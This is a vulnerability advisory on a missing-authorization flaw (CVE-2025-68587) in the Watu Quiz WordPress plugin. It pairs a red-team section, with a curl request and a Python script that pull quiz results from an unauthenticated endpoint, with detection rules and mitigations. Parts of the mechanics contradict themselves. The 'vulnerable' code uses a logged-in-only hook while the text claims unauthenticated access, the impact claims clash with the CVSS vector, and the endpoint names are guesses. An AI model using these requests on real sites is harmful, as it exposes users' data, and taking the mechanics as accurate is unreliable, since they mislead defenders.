CVE-2025-68587

Executive Summary

CVE-2025-68587 is a Missing Authorization vulnerability in the Watu Quiz WordPress plugin (versions up to and including 3.4.5). This flaw allows an unauthenticated attacker to exploit incorrectly configured access control security levels, potentially leading to unauthorized data access or manipulation of quiz results. The vulnerability is classified as a WordPress ecosystem issue, not related to the underlying web server (Apache/Nginx). With a CVSS score of 4.3 (Medium), it poses a moderate risk, but the lack of a known patch and the plugin's widespread use in educational and assessment contexts elevate its practical threat.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. As a supply chain risk, any site using Watu Quiz <= 3.4.5 is exposed. Since no patch is available, users must rely on manual mitigation (e.g., disabling the plugin, implementing a Web Application Firewall rule, or restricting access via .htaccess). The absence of a GitHub advisory or OSV patch data indicates the vendor has not yet addressed the issue, increasing the urgency for defensive measures.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – unauthenticated exploitation.
• User Interaction: None (UI:N) – no victim action needed.
• Scope: Unchanged (S:U) – vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – limited data exposure.
• Integrity Impact: None (I:N) – no data modification.
• Availability Impact: None (A:N) – no denial of service.

Threat Level: Medium. The low EPSS score (0.0%) suggests limited active exploitation, but the missing authorization can be chained with other vulnerabilities for greater impact.

Deep Dive & Mechanics

The vulnerability resides in the Watu Quiz plugin's access control logic. The plugin fails to properly enforce authorization checks on certain AJAX actions or REST endpoints, allowing unauthenticated users to access functions intended for administrators or quiz managers. Specifically, the watu component does not validate user capabilities before processing requests to view, modify, or delete quiz data.

Root Cause: The plugin uses wp_ajax_* hooks without corresponding wp_ajax_nopriv_* checks, or it relies on insufficient capability checks (e.g., current_user_can('edit_posts') instead of manage_options). This allows any visitor to trigger privileged actions.

Attack Vector: An attacker sends crafted HTTP requests to the vulnerable endpoints, bypassing authentication. For example, a request to /wp-admin/admin-ajax.php?action=watu_export_results could export all quiz results without a valid session.

Impact: Unauthorized access to sensitive quiz data (e.g., user answers, scores, personal information), potential manipulation of quiz settings, or privilege escalation if combined with other flaws.

Vulnerable vs. Patched Code

Since no patch is available, we analyze the likely vulnerable pattern and a hypothetical fix.

Vulnerable Code (watu.php):

add_action('wp_ajax_watu_export_results', 'watu_export_results');
function watu_export_results() {
    // No capability check
    $quiz_id = intval($_GET['quiz_id']);
    $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}watu_results WHERE quiz_id = $quiz_id");
    // Output results...
}

Patched Code (Hypothetical):

add_action('wp_ajax_watu_export_results', 'watu_export_results');
add_action('wp_ajax_nopriv_watu_export_results', 'watu_export_results_denied');
function watu_export_results() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    // ... rest of function
}
function watu_export_results_denied() {
    wp_die('Unauthorized', 403);
}

The fix adds a capability check (manage_options) and denies unauthenticated access via wp_ajax_nopriv_*.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites: A WordPress site with Watu Quiz <= 3.4.5 installed and active.

Step 1: Identify Vulnerable Endpoints Use a tool like Burp Suite or curl to enumerate AJAX actions. Common actions include watu_export_results, watu_delete_quiz, watu_update_settings.

Step 2: Craft Exploit Request

curl -X GET "http://target.com/wp-admin/admin-ajax.php?action=watu_export_results&quiz_id=1" -v

Step 3: Extract Data If successful, the response contains quiz results in JSON or CSV format.

Step 4: Automate with Python

import requests
target = "http://target.com/wp-admin/admin-ajax.php"
params = {"action": "watu_export_results", "quiz_id": "1"}
response = requests.get(target, params=params)
print(response.text)

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual requests to admin-ajax.php with action parameters starting with watu_ from unauthenticated sources.
• Look for spikes in 403 errors if a WAF is in place.

Defense:

• Immediate: Disable the Watu Quiz plugin until a patch is released.
• WAF Rule: Block requests to admin-ajax.php where action matches watu_* and the request is not authenticated.
• .htaccess: Restrict access to admin-ajax.php to logged-in users only (note: this may break legitimate AJAX calls).

<Files "admin-ajax.php">
    Require valid-user
</Files>

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /wp-admin/admin-ajax.php with action=watu_* parameters from IPs not associated with admin sessions.
  • Unusual outbound data transfers containing quiz result data.
• File IOCs:
  • Modified watu.php or other plugin files (if attacker uploads backdoor).
  • Unexpected files in /wp-content/plugins/watu/.
• Log IOCs:
  • Repeated 403 errors from admin-ajax.php with watu_ actions.
  • Access logs showing GET /wp-admin/admin-ajax.php?action=watu_export_results from unknown IPs.

Detection Engineering

YARA Rule

rule CVE_2025_68587_Watu_Quiz_Exploit {
    meta:
        description = "Detects exploitation attempts for CVE-2025-68587 in Watu Quiz plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-68587"
    strings:
        $ajax_action = "action=watu_" nocase
        $admin_ajax = "admin-ajax.php" nocase
    condition:
        $admin_ajax and $ajax_action
}

Sigma Rule

title: CVE-2025-68587 Watu Quiz Missing Authorization Exploit
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects unauthenticated requests to Watu Quiz AJAX actions
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=watu_'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-68587 Watu Quiz Missing Authorization Exploit";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"admin-ajax.php"; http_uri;
    content:"action=watu_"; http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    reference:cve,2025-68587;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the Watu Quiz plugin until a patched version is released.
2. Implement a Web Application Firewall (WAF) rule to block unauthenticated requests to admin-ajax.php with watu_ actions.
3. Review server logs for signs of exploitation (e.g., unusual admin-ajax.php requests).

Long-Term Fix:

• Monitor the WordPress plugin repository for an official patch.
• Apply the patch as soon as it becomes available.
• Consider replacing Watu Quiz with an alternative plugin that has active security support.

Workaround (if plugin must remain active):

• Use .htaccess to restrict admin-ajax.php to authenticated users (note: this may break other plugins).
• Implement a custom function in functions.php to add capability checks:

add_action('init', function() {
    if (defined('DOING_AJAX') && DOING_AJAX) {
        if (strpos($_REQUEST['action'], 'watu_') === 0 && !current_user_can('manage_options')) {
            wp_die('Unauthorized', 403);
        }
    }
});

Valters IT
Securing Digital Frontiers